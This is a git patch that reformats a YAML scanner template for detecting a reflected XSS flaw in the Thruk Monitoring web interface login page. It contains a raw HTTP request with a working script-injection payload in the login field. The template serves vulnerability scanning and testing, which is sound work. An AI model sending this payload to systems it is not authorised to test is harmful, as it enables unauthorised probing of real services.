From 9da0d768a14009282b1b66fcf1216a83cefe15f9 Mon Sep 17 00:00:00 2001 From: sandeep Date: Fri, 3 Dec 2021 10:37:42 +0530 Subject: [PATCH] fix: syntax + lint --- vulnerabilities/other/thruk-xss.yaml | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/vulnerabilities/other/thruk-xss.yaml b/vulnerabilities/other/thruk-xss.yaml index ee14cd3a0c..fba1e61e8c 100644 --- a/vulnerabilities/other/thruk-xss.yaml +++ b/vulnerabilities/other/thruk-xss.yaml @@ -4,31 +4,30 @@ info: name: Thruk Monitoring Webinterface - XSS author: pikpikcu severity: medium - description: Thruk Monitoring Webinterface - XSS tags: xss,thruk requests: - raw: - - | + - | POST /thruk/cgi-bin/login.cgi HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Referer: {{Hostname}}/thruk/cgi-bin/login.cgi?thruk referer=%2Fthruk&login=--%3E%3C%2Fscript%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E&password=Thruk+Monitoring+Webinterface - - matchers-condition: and + + matchers-condition: and matchers: - type: status status: - 200 - type: word + part: body words: - "" - part: body - type: word - words: - - "text/html" part: header + words: + - "text/html" \ No newline at end of file